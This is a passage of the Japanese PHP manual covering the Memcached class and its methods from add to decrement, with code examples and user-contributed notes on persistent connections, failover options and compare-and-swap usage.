MEMC_SESS_LOCK_EXPIRATION 30


Memcached クラス

(PECL memcached >= 0.1.0)

はじめに

memcached サーバー群への接続を表します。

クラス概要

Memcached {
public __construct ( string $persistent_id = ? )
public add ( string $key , mixed $value , int $expiration = ? ) : bool
public addByKey ( string $server_key , string $key , mixed $value , int $expiration = ? ) : bool
public addServer ( string $host , int $port , int $weight = 0 ) : bool
public addServers ( array $servers ) : bool
public append ( string $key , string $value ) : bool
public appendByKey ( string $server_key , string $key , string $value ) : bool
public cas ( float $cas_token , string $key , mixed $value , int $expiration = ? ) : bool
public casByKey ( float $cas_token , string $server_key , string $key , mixed $value , int $expiration = ? ) : bool
public decrement ( string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false
public decrementByKey ( string $server_key , string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false
public delete ( string $key , int $time = 0 ) : bool
public deleteByKey ( string $server_key , string $key , int $time = 0 ) : bool
public deleteMulti ( array $keys , int $time = 0 ) : array
public deleteMultiByKey ( string $server_key , array $keys , int $time = 0 ) : bool
public fetch ( ) : array
public fetchAll ( ) : array|false
public flush ( int $delay = 0 ) : bool
public get ( string $key , callable $cache_cb = ? , int $$flags = ? ) : mixed
public getAllKeys ( ) : array|false
public getByKey ( string $server_key , string $key , callable $cache_cb = ? , int $flags = ? ) : mixed
public getDelayed ( array $keys , bool $with_cas = ? , callable $value_cb = ? ) : bool
public getDelayedByKey ( string $server_key , array $keys , bool $with_cas = ? , callable $value_cb = ? ) : bool
public getMulti ( array $keys , int $flags = ? ) : mixed
public getMultiByKey ( string $server_key , array $keys , int $flags = ? ) : array|false
public getOption ( int $option ) : mixed
public getResultCode ( ) : int
public getResultMessage ( ) : string
public getServerByKey ( string $server_key ) : array
public getServerList ( ) : array
public getStats ( ) : array|false
public getVersion ( ) : array
public increment ( string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false
public incrementByKey ( string $server_key , string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false
public isPersistent ( ) : bool
public isPristine ( ) : bool
public prepend ( string $key , string $value ) : bool
public prependByKey ( string $server_key , string $key , string $value ) : bool
public quit ( ) : bool
public replace ( string $key , mixed $value , int $expiration = ? ) : bool
public replaceByKey ( string $server_key , string $key , mixed $value , int $expiration = ? ) : bool
public resetServerList ( ) : bool
public set ( string $key , mixed $value , int $expiration = ? ) : bool
public setByKey ( string $server_key , string $key , mixed $value , int $expiration = ? ) : bool
public setMulti ( array $items , int $expiration = ? ) : bool
public setMultiByKey ( string $server_key , array $items , int $expiration = ? ) : bool
public setOption ( int $option , mixed $value ) : bool
public setOptions ( array $options ) : bool
public setSaslAuthData ( string $username , string $password ) : void
public touch ( string $key , int $expiration ) : bool
public touchByKey ( string $server_key , string $key , int $expiration ) : bool
}

目次

  • Memcached::add — アイテムを新しいキーで追加する
  • Memcached::addByKey — 指定したサーバーにアイテムを新しいキーで追加する
  • Memcached::addServer — サーバーをサーバープールに追加する
  • Memcached::addServers — 複数のサーバーをサーバープールに追加する
  • Memcached::append — データを既存のアイテムに追記する
  • Memcached::appendByKey — 指定したサーバーでデータを既存のアイテムに追記する
  • Memcached::cas — アイテムを比較して入れ替える
  • Memcached::casByKey — 指定したサーバーでアイテムを比較して入れ替える
  • Memcached::__construct — Memcached のインスタンスを作成する
  • Memcached::decrement — 数値アイテムの値を減らす
  • Memcached::decrementByKey — 指定したサーバー上にある数値アイテムの値を減らす
  • Memcached::delete — アイテムを削除する
  • Memcached::deleteByKey — 指定したサーバーからアイテムを削除する
  • Memcached::deleteMulti — 複数のアイテムを削除する
  • Memcached::deleteMultiByKey — 指定したサーバーから複数のアイテムを削除する
  • Memcached::fetch — 次の結果を取得する
  • Memcached::fetchAll — 残りのすべての結果を取得する
  • Memcached::flush — キャッシュ内のすべてのアイテムを無効にする
  • Memcached::get — アイテムを取得する
  • Memcached::getAllKeys — すべてのサーバーのキーを取得する
  • Memcached::getByKey — 指定したサーバーからアイテムを取得する
  • Memcached::getDelayed — 複数のアイテムを要求する
  • Memcached::getDelayedByKey — 指定したサーバーに複数のアイテムを要求する
  • Memcached::getMulti — 複数のアイテムを取得する
  • Memcached::getMultiByKey — 指定したサーバーから複数のアイテムを取得する
  • Memcached::getOption — Memcached のオプションの値を取得する
  • Memcached::getResultCode — 直近の操作の結果コードを返す
  • Memcached::getResultMessage — 最後に実行した操作の結果を説明したメッセージを返す。
  • Memcached::getServerByKey — キーとサーバーを関連付ける
  • Memcached::getServerList — プール内のサーバーの一覧を取得する
  • Memcached::getStats — サーバープールの統計情報を取得する
  • Memcached::getVersion — サーバープールのバージョン情報を取得する
  • Memcached::increment — 数値アイテムの値を増やす
  • Memcached::incrementByKey — 指定したサーバー上にある数値アイテムの値を増やす
  • Memcached::isPersistent — memcache への接続で持続的接続を使っているかどうかを調べる
  • Memcached::isPristine — 直近に作られたインスタンスかどうかを調べる
  • Memcached::prepend — 既存のアイテムの前にデータを付加する
  • Memcached::prependByKey — 指定したサーバーで既存のアイテムの前にデータを付加する
  • Memcached::quit — 開いている接続を閉じる
  • Memcached::replace — 既存のキーのアイテムを入れ替える
  • Memcached::replaceByKey — 指定したサーバーで既存のキーのアイテムを入れ替える
  • Memcached::resetServerList — サーバーリストからすべてのサーバーを消去する
  • Memcached::set — アイテムを格納する
  • Memcached::setByKey — 指定したサーバーにアイテムを格納する
  • Memcached::setMulti — 複数のアイテムを格納する
  • Memcached::setMultiByKey — 指定したサーバーで複数のアイテムを格納する
  • Memcached::setOption — Memcached のオプションの値を設定する
  • Memcached::setOptions — Memcached のオプションの値を設定する
  • Memcached::setSaslAuthData — 認証用の資格情報を設定する
  • Memcached::touch — アイテムに新しい有効期限を設定する
  • Memcached::touchByKey — 指定したサーバー上のアイテムに新しい有効期限を設定する

User Contributed Notes

There are no user contributed notes for this page.


アイテムを新しいキーで追加する

  • ≪ Memcached
  • Memcached::addByKey ≫
  • PHP Manual
  • Memcached
  • アイテムを新しいキーで追加する

Memcached::add

(PECL memcached >= 0.1.0)

Memcached::add — アイテムを新しいキーで追加する

説明

public Memcached::add ( string $key , mixed $value , int $expiration = ? ) : bool

Memcached::add() は Memcached::set() と似ていますが、 key が既にサーバー上に存在する場合は失敗します。

パラメータ

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 キーが既に存在する場合は、Memcached::getResultCode() は Memcached::RES_NOTSTORED を返します。

参考

  • Memcached::addByKey() - 指定したサーバーにアイテムを新しいキーで追加する
  • Memcached::set() - アイテムを格納する
  • Memcached::replace() - 既存のキーのアイテムを入れ替える

User Contributed Notes

ilya dot chase at yandex dot ru 22-May-2019 08:57
Note that this operation is atomic, means that it's safe from race condition operation (since memcached is running in single process). You can use this method for locks and can be sure that two requests will not get "true" simultaneously using this method.
zhoujunwen888 at 126 dot com 17-Jun-2015 09:27
<?php
/**
 * Created by PhpStorm.
 * User: zhoujunwen
 * Date: 15/6/17
 * Time: 下午4:51
 */
    $mem  = new Memcached();

    $mem->addServer('127.0.0.1',11211);
    if( $mem->add("mystr","this is a memcache test!",3600)){
        echo  '原始数据?存成功!';
    }else{
        echo '数据已存在：'.$mem->get("mystr");
    }

?>


指定したサーバーにアイテムを新しいキーで追加する

  • ≪ Memcached::add
  • Memcached::addServer ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーにアイテムを新しいキーで追加する

Memcached::addByKey

(PECL memcached >= 0.1.0)

Memcached::addByKey — 指定したサーバーにアイテムを新しいキーで追加する

説明

public Memcached::addByKey ( string $server_key , string $key , mixed $value , int $expiration = ? ) : bool

Memcached::addByKey() は機能的に Memcached::add() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。 これは、関連するキーを特定のサーバーに置き続けたいときなどに便利です。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 キーが既に存在する場合は、Memcached::getResultCode() は Memcached::RES_NOTSTORED を返します。

参考

  • Memcached::add() - アイテムを新しいキーで追加する
  • Memcached::set() - アイテムを格納する
  • Memcached::replace() - 既存のキーのアイテムを入れ替える

User Contributed Notes

There are no user contributed notes for this page.


サーバーをサーバープールに追加する

  • ≪ Memcached::addByKey
  • Memcached::addServers ≫
  • PHP Manual
  • Memcached
  • サーバーをサーバープールに追加する

Memcached::addServer

(PECL memcached >= 0.1.0)

Memcached::addServer — サーバーをサーバープールに追加する

説明

public Memcached::addServer ( string $host , int $port , int $weight = 0 ) : bool

Memcached::addServer() は、指定したサーバーをサーバープールに追加します。 この時点では、サーバーへの接続は確立されません。しかし、一貫性のあるキー分散オプションを (Memcached::DISTRIBUTION_CONSISTENT あるいは Memcached::OPT_LIBKETAMA_COMPATIBLE で) 指定した場合は、 内部データ構造のうちの一部が更新されます。 したがって、もし複数のサーバーを追加したい場合は、 Memcached::addServers() を使用するほうがよいでしょう。 その場合、更新は一度しか発生しません。

同じサーバーがサーバープール内で複数回あらわれることもあります。 重複チェックはしていないからです。これは望ましい状態ではありません。 その代わりに weight オプションを使用して、 このサーバーを選択する重みを増やします。

パラメータ

host

memcache サーバーのホスト名。ホスト名が無効な場合は、データ関連の操作の結果コードに Memcached::RES_HOST_LOOKUP_FAILURE が設定されます。 バージョン 2.0.0b1 以降では、このパラメータにソケットのパス (/path/to/memcached.sock など) を指定すると、 UNIX ドメインソケットを使えるようになりました。 このとき、port には 0 を設定する必要があります。

port

memcache が動作しているポート。通常、これは 11211 となります。 バージョン 2.0.0b1 以降では、UNIX ドメインソケットを利用する際には 0 を設定します。

weight

プール内の全サーバーにおけるそのサーバーの重み。 これで、何か操作をしたときにそのサーバーが選択される確率を制御します。 これは、一貫性のある分散オプションを使っている場合にのみ使用でき、 通常はそのサーバー上で memcache が使用できるメモリの量に対応したものとなります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcached::addServer() の例

<?php
$m = new Memcached();

/* 2 つのサーバーを追加し、2 番目のサーバーが
   最初のサーバーの 2 倍の確率で選択されるようにします */
$m->addServer('mem1.domain.com', 11211, 33);
$m->addServer('mem2.domain.com', 11211, 67);
?>

参考

  • Memcached::addServers() - 複数のサーバーをサーバープールに追加する
  • Memcached::resetServerList() - サーバーリストからすべてのサーバーを消去する

User Contributed Notes

Dave 20-Nov-2012 10:42
As of version 2.0.0b1 you can use Unix socket.

<?php
$m = new Memcached();
$m->addServer('/path/to/socket',0);
?>

Not to be confused with Memcache that use 'unix:///path/to/socket'
mbarriolinares at gmail dot com 10-Sep-2012 06:55
Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon. Specially when using FastCGI.

Example:

<?php
class Cache {
        private $id;
        private $obj;

        function __construct($id){
                $this->id = $id;
                $this->obj = new Memcached($id);
        }

        public function connect($host , $port){
                $servers = $this->obj->getServerList();
                if(is_array($servers)) {
                        foreach ($servers as $server)
                                if($server['host'] == $host and $server['port'] == $port)
                                        return true;
                }
                return $this->obj->addServer($host , $port);
        }

}
?>
Robbie De Lise 22-Aug-2011 10:08
On my Debian Squeeze system I was getting WRITE FAILURE errors. After debugging and finally tcpdump it seems that the problem was me adding the server 'localhost', which resolved to '::1' (ipv6) while the default memcached server on debian only listens to '127.0.0.1' (ipv4). DNS automatically prefers ipv6 over ipv4.

I added the server '127.0.0.1' instead and everything worked. You could also disable ipv6 or have memcached listen on ::1


複数のサーバーをサーバープールに追加する

  • ≪ Memcached::addServer
  • Memcached::append ≫
  • PHP Manual
  • Memcached
  • 複数のサーバーをサーバープールに追加する

Memcached::addServers

(PECL memcached >= 0.1.1)

Memcached::addServers — 複数のサーバーをサーバープールに追加する

説明

public Memcached::addServers ( array $servers ) : bool

Memcached::addServers() は、 servers をサーバープールに追加します。 servers の各エントリは、 個々のサーバーのホスト名、ポート、重み (オプション) を含む配列となります。 この時点では、サーバーへの接続は確立されません。

同じサーバーがサーバープール内で複数回あらわれることもあります。 重複チェックはしていないからです。これは望ましい状態ではありません。 その代わりに weight オプションを使用して、 このサーバーを選択する重みを増やします。

パラメータ

array

プールに追加するサーバーの配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcached::addServers() の例

<?php
$m = new Memcached();

$servers = array(
    array('mem1.domain.com', 11211, 33),
    array('mem2.domain.com', 11211, 67)
);
$m->addServers($servers);
?>

参考

  • Memcached::addServer() - サーバーをサーバープールに追加する
  • Memcached::resetServerList() - サーバーリストからすべてのサーバーを消去する

User Contributed Notes

Aliaser 03-Mar-2016 07:44
For a proper FailOver mechanism:

$memcached = new Memcached();
$memcached->setOption(Memcached::OPT_CONNECT_TIMEOUT, 10);
$memcached->setOption(Memcached::OPT_DISTRIBUTION, Memcached::DISTRIBUTION_CONSISTENT);
$memcached->setOption(Memcached::OPT_SERVER_FAILURE_LIMIT, 2);
$memcached->setOption(Memcached::OPT_REMOVE_FAILED_SERVERS, true);
$memcached->setOption(Memcached::OPT_RETRY_TIMEOUT, 1);
$memcached->addServers($servers);

Memcached::OPT_DISTRIBUTION: set it to consistent hashing. If one memcached node is dead, its keys (and only its keys) will be evenly distributed to other nodes. This is where the magic is done. This is really different from removing one server in your ->addServers() call.

Memcached::OPT_SERVER_FAILURE_LIMIT: number of connection issues before a server is marked as DEAD, and removed from the list of servers (default: 5).

Memcached::OPT_REMOVE_FAILED_SERVERS: set it to ≪true≫, to enable the removal of dead servers.

Memcached::OPT_RETRY_TIMEOUT: after a node is declared DEAD, libmemcached will try it again after that many seconds. Here I've set it to 1 second, but I'm working on PHP scripts that run for less than 100ms most of the time. That would only be useful for cron/daemonize scripts.

Memcached::OPT_CONNECT_TIMEOUT: the timeout after which a server is considered DEAD. As my servers are on the same LAN, ping is ~0.5ms, so 10ms is large enough to consider the server is DEAD. Note that you have to wait twice that time before a node is marked DEAD, so if it's 1000ms, your script will lock for 2 seconds before ignoring the DEAD server. That may affect your response times a lot, and that's why I've set it very low

Author of this is Yvan from Dugwood
Michael Brenden 17-Feb-2011 03:27
See the note for __construct()

Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon.


データを既存のアイテムに追記する

  • ≪ Memcached::addServers
  • Memcached::appendByKey ≫
  • PHP Manual
  • Memcached
  • データを既存のアイテムに追記する

Memcached::append

(PECL memcached >= 0.1.0)

Memcached::append — データを既存のアイテムに追記する

説明

public Memcached::append ( string $key , string $value ) : bool

Memcached::append() は、指定した文字列 value を既存のアイテムの値として追記します。 value を文字列に強制変換する理由は、 異なる型を追記した場合の挙動が定義されていないからです。

注意:

Memcached::OPT_COMPRESSION が有効になっている場合は、 この操作は失敗して警告が発せられます。 すでに圧縮されている可能性のあるデータに圧縮したデータを追記することはできないからです。

パラメータ

key

値の格納先のキー。

value

追記する文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。 Memcached::getResultCode() は、キーが存在しない場合に Memcached::RES_NOTSTORED を返します。

例

例1 Memcached::append() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->append('foo', 'def');
var_dump($m->get('foo'));
?>

上の例の出力は以下となります。

string(6) "abcdef"

参考

  • Memcached::appendByKey() - 指定したサーバーでデータを既存のアイテムに追記する
  • Memcached::prepend() - 既存のアイテムの前にデータを付加する

User Contributed Notes

mattsch at gmail dot com 31-Mar-2015 01:48
This method emits this php warning if OPT_COMPRESSION is not explicitly set to false (tested with libmemcached 1.0.18 & pecl-memcached 2.1.0):

PHP Warning:  Memcached::append(): cannot append/prepend with compression turned on


指定したサーバーでデータを既存のアイテムに追記する

  • ≪ Memcached::append
  • Memcached::cas ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーでデータを既存のアイテムに追記する

Memcached::appendByKey

(PECL memcached >= 0.1.0)

Memcached::appendByKey — 指定したサーバーでデータを既存のアイテムに追記する

説明

public Memcached::appendByKey ( string $server_key , string $key , string $value ) : bool

Memcached::appendByKey() は機能的に Memcached::append() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

値の格納先のキー。

value

追記する文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。 Memcached::getResultCode() は、キーが存在しない場合に Memcached::RES_NOTSTORED を返します。

参考

  • Memcached::append() - データを既存のアイテムに追記する
  • Memcached::prepend() - 既存のアイテムの前にデータを付加する

User Contributed Notes

There are no user contributed notes for this page.


アイテムを比較して入れ替える

  • ≪ Memcached::appendByKey
  • Memcached::casByKey ≫
  • PHP Manual
  • Memcached
  • アイテムを比較して入れ替える

Memcached::cas

(PECL memcached >= 0.1.0)

Memcached::cas — アイテムを比較して入れ替える

説明

public Memcached::cas ( float $cas_token , string $key , mixed $value , int $expiration = ? ) : bool

Memcached::cas() は「チェックして設定」という操作を行います。 アイテムが格納されるのは、クライアントが最後にアイテムを取得して以降に 他のクライアントによるそのアイテムの更新がなかった場合のみです。 チェックは cas_token パラメータを使用して行います。 これは一意な 64 ビットの値で、既存のアイテムに対して memcache が割り当てます。 このトークンを取得する方法については Memcached::get*() メソッドのドキュメントを参照ください。 PHP の integer 型の範囲を超えるため、トークンは double 型であらわされることに注意しましょう。

パラメータ

cas_token

既存のアイテムに割り当てたれた一意な値。memcache が生成します。

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 格納しようとしているアイテムが最後の取得以降に更新されている場合、 Memcached::getResultCode() は Memcached::RES_DATA_EXISTS を返します。

例

例1 Memcached::cas() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

do {
    /* IP リストとそのトークンを取得します */
    $ips = $m->get('ip_block', null, $cas);
    /* リストが存在しない場合はまず作成してからアトミック名追加を行います。
       誰かがすでに追加している場合は失敗します */
    if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
        $ips = array($_SERVER['REMOTE_ADDR']);
        $m->add('ip_block', $ips);
    /* それ以外の場合は、IP をリストに追加して、トークンによる「比較して入れ替え」
       方式で格納します。だれかがリストを更新している場合は失敗します */
    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_SUCCESS);

?>

参考

  • Memcached::casByKey() - 指定したサーバーでアイテムを比較して入れ替える

User Contributed Notes

Haravikk 18-Aug-2017 07:26
I'm not sure whether this remains true in the newer versions of the Memcached module (v3.0 onwards) but in the version shipped with PHP 5.6 the return value and result code when using this method with OPT_BINARY_PROTOCOL enabled are entirely useless.

Setting a value successful may return true, with a result code of RES_END, but it may also return true with a result code of RES_SUCCESS.

However, *unsuccessfully* setting a value likewise seems to return true and RES_SUCCESS, effectively rendering this function's return value useless with the binary protocol enabled as it is impossible to distinguish success from failure.

If you need to rely on the return value of this method then I strongly recommend disabling the binary protocol under PHP 5.6, as in its current state the common memcached module is too broken otherwise for CAS usage.

Hopefully someone else can weigh in on whether this is still broken in newer versions or not.
php at sergentet dot fr 25-May-2017 09:59
To prevent a perpetual loop on any Memcached error, you can add a simple counter :

$security_count = 0;

do {
        //[]....
        $security_loop++
        if ($security_loop > 10) {
                break;     //( or return "your return value" on a function )
        }
} while ($m->getResultCode() != Memcached::RES_SUCCESS);
sparcbr at gmail dot com 11-Oct-2016 04:11
Do not check command success in a while loop with something like

$memCached->getResultCode() != Memcached::RES_SUCCESS

Memcached::RES_SERVER_ERROR or anything like this and your script will loop forev
abodera at gmail dot com 27-Apr-2010 01:19
Watch out!

When using binary protocol, the expected result after cas() is 21 (Memcached::RES_END).

For example, to make the above example #1 work with binary protocol, use the following:
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_BINARY_PROTOCOL,true)

// [...]

    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_END);
?>


指定したサーバーでアイテムを比較して入れ替える

  • ≪ Memcached::cas
  • Memcached::__construct ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーでアイテムを比較して入れ替える

Memcached::casByKey

(PECL memcached >= 0.1.0)

Memcached::casByKey — 指定したサーバーでアイテムを比較して入れ替える

説明

public Memcached::casByKey ( float $cas_token , string $server_key , string $key , mixed $value , int $expiration = ? ) : bool

Memcached::casByKey() は機能的に Memcached::cas() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。 これは、関連するキーを特定のサーバーに置き続けたいときなどに便利です。

パラメータ

cas_token

既存のアイテムに割り当てたれた一意な値。memcache が生成します。

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 格納しようとしているアイテムが最後の取得以降に更新されている場合、 Memcached::getResultCode() は Memcached::RES_DATA_EXISTS を返します。

参考

  • Memcached::cas() - アイテムを比較して入れ替える

User Contributed Notes

There are no user contributed notes for this page.


Memcached のインスタンスを作成する

  • ≪ Memcached::casByKey
  • Memcached::decrement ≫
  • PHP Manual
  • Memcached
  • Memcached のインスタンスを作成する

Memcached::__construct

(PECL memcached >= 0.1.0)

Memcached::__construct — Memcached のインスタンスを作成する

説明

public Memcached::__construct ( string $persistent_id = ? )

memcache サーバーとの接続を表す Memcached インスタンスを作成します。

パラメータ

persistent_id

デフォルトでは、Memcached のインスタンスはリクエストの終了時に破棄されます。 リクエスト間で持続するインスタンスを作成するには、 persistent_id でそのインスタンスの一意な ID を指定します。 同じ persistent_id で作られたすべてのインスタンスは同じ接続を共有します。

返り値

Memcached オブジェクトを返します。

例

例1 Memcached オブジェクトの作成

<?php
/* 通常のインスタンスを作成します */
$m = new Memcached();
echo get_class($m);

/* 持続するインスタンスを作成します */
$m2 = new Memcached('story_pool');
$m3 = new Memcached('story_pool');

/* これで $m2 と $m3 は同じ接続を共有するようになります */
?>

User Contributed Notes

kangzjnet at gmail dot com 21-Jan-2013 09:29
To enable automatic failover, you have to set OPT_REMOVE_FAILED_SERVERS option, which is supported by php-memcached 2.0.0b2 or above.

Here is the example,
<?php
$memcache = new Memcached ( 'a_mem_pool' );
$ss = $memcache->getServerList ();
if (empty ( $ss )) {
$memcache->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_SEND_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_TCP_NODELAY, true);
$memcache->setOption(Memcached::OPT_SERVER_FAILURE_LIMIT, 50);
$memcache->setOption(Memcached::OPT_CONNECT_TIMEOUT, 500);
$memcache->setOption(Memcached::OPT_RETRY_TIMEOUT, 300);
$memcache->setOption(Memcached::OPT_DISTRIBUTION, Memcached::DISTRIBUTION_CONSISTENT);
$memcache->setOption(Memcached::OPT_REMOVE_FAILED_SERVERS, true);
$memcache->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$memcache->addServer ( '10.10.1.75', 11211, 1 );
$memcache->addServer ( '10.10.1.76', 11211, 1 );
$memcache->addServer ( '10.10.1.77', 11211, 1 );
}
?>
enknamel AT gmail DOT com 13-Dec-2011 02:53
This was causing me to tear my hair out since I listened to the comments posted here.

If you enable persistence, the options you set will persist as well AND certain options if you set them with persistence enabled WILL CLOSE ALL YOUR PERSISTED CONNECTIONS. This is a part of libmemcached that the memcached extensions is built against. You can verify this by running strace.

So this is what you should do:

<?php

$mem = new Memcached($myPoolId);

if(empty($mem->getServerList())) {
    //This code block will only execute if we are setting up a new EG(persistent_list) entry
    $mem->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
    $mem->setOption(Memcached::OPT_SEND_TIMEOUT, 3000);
    $mem->setOption(Memcached::OPT_TCP_NODELAY, true);
    $mem->setOption(Memcached::OPT_PREFIX_KEY, "md_");
    $mem->addServer($myMemcahceIp, $myMemcachePort);
}

?>
clancy hood at gmail dot com 04-Jun-2011 01:32
If you're wanting to get started with Memcached on a relatively small project but need some scalability then it can make sense to allow $persistent_id to also denote both a key prefix and a server set which you define yourself.  This keeps both key separation and allocation of data sets to certain server(s) incredibly simple throughout the project's life, without hampering any of your options.

<?php

    // Here is the array which we will add to in the future
    $GLOBALS['memcached-sets'] = array (
        '_' => array (
            array('localhost', 11211)
        )
    );

    define('DEFAULT_MEMCACHED_SET', '_');

    function mcache( $persistent_id=DEFAULT_MEMCACHED_SET ) {

        // one instantiation per-connection per-request
        static $memcached_instances = array();

        if( array_key_exists($persistent_id, $memcached_instances)) {
            $instance = $memcached_instances[$persistent_id];
        }else{
            $instance = new Memcached($persistent_id);
            $instance->setOption(Memcached::OPT_PREFIX_KEY, $persistent_id);
            $instance->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true); // advisable option

            // Add servers if no connections listed. Get server set by $persistent_id or use default set.
            // In a production environment with multiple server sets you may wish to prevent typos from silently adding data
            // to the default pool, in which case return an error on no match instead of defaulting
            if( !count($instance->getServerList()) ) {
                $servers = array_key_exists($persistent_id, $GLOBALS['memcached-sets'])
                    ? $GLOBALS['memcached-sets'][$persistent_id]
                    : $GLOBALS['memcached-sets'][DEFAULT_MEMCACHED_SET];
                $instance->addServers($servers);
            }

            $memcached_instances[$persistent_id] = $instance;
        }
        return $instance;
    }

    // simple example
    mcache()->set('foo', 'bar');
    mcache('myset')->set('foo', 'baz');

    var_dump(mcache()->get('foo'), mcache('myset')->get('foo'));

?>

string(3) "bar"
string(3) "baz"

Just remember to keep your $persistent_ids short as they infringe upon your maximum key length.  Happy coding! :)
Tobias 17-Feb-2011 07:24
Note that with this Memcached interface, if one or more underlying memcached daemons are down, suffering high network latency (over 1 second by default), or have crashed, then there still will be no warning, no error, no notice.  Everything will appear to work correctly, you just won't get proper results back.
Tobias 17-Feb-2011 03:48
Not positive, but it seems like the __construct() creates an instance of Memcache() class that lives (and stays alive) in at least the child Apache procs, if not the main Apache proc.

This (seems to) mean that Memcache daemons added to the server "pool" (via ->addServers() ) stay remembered.

This is why you do not want to call ->addServers() every time your script runs, because ->addServers() does not check for dups and will add hundreds or thousands of connections to the memcached daemon proc from the Apache proc(s).

One side effect is that any other scripts (even across different website domains) can also add to your server "pool" (if they know the server pool name, or if they can get it from the memcached daemon itself (not sure if/how this is possible), or if you or your team has coded several sites using the same server pool (i.e., new Memcached( 'same-server-pool-name' ) ).  This may present a security hole.
jeroen at 4worx dot com 16-Nov-2009 02:51
Using multiple memcached instances with options in combination with persistent connections might be confusing:

<?php

$a = new Memcached('memcached_pool');
$a->setOption(Memcached::OPT_COMPRESSION, false);

$b = new Memcached('memcached_pool');
$b->setOption(Memcached::OPT_COMPRESSION, true);

$a->add('key', 'some data');

?>

You might think that connection $a will store everything uncompressed, but this is not the case.
The persistent connection options are changed by the second object creation.
tschundler at gmail dot com 15-Sep-2009 02:43
When using persistent connections, it is important to not re-add servers.

This is what you do not want to do:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$mc->addServers(array(
    array('mc1.example.com',11211),
    array('mc2.example.com',11211),
));
?>
Every time the page is loaded those servers will be appended to the list resulting in many simultaneous open connections to the same server. The addServer/addServers functions to not check for existing references to the specified servers.

A better approach is something like:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
if (!count($mc->getServerList())) {
    $mc->addServers(array(
        array('mc1.example.com',11211),
        array('mc2.example.com',11211),
    ));
}
?>


数値アイテムの値を減らす

  • ≪ Memcached::__construct
  • Memcached::decrementByKey ≫
  • PHP Manual
  • Memcached
  • 数値アイテムの値を減らす

Memcached::decrement

(PECL memcached >= 0.1.0)

Memcached::decrement — 数値アイテムの値を減らす

説明

public Memcached::decrement ( string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false

Memcached::decrement() は、数値アイテムの値を offset で指定しただけ減らします。 アイテムの値が数値でない場合はエラーとなります。 操作後の値が 0 より小さくなる場合は、新しい値は 0 となります。 アイテムが存在しない場合、Memcached::decrement() は値を initial_value に設定します。

パラメータ

key

減らしたいアイテムのキー。

offset

値を減らしたい量。

initial_value

そのアイテムが存在しない場合に設定する値。

expiry

そのアイテムに設定する有効期限。

返り値

成功した場合にアイテムの新しい値、失敗した場合に false を返します。

例

例1 Memcached::decrement() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 5);
$n = $m->decrement('counter');
var_dump($n);

$n = $m->decrement('counter', 10);
var_dump($n);

var_dump($m->get('counter'));

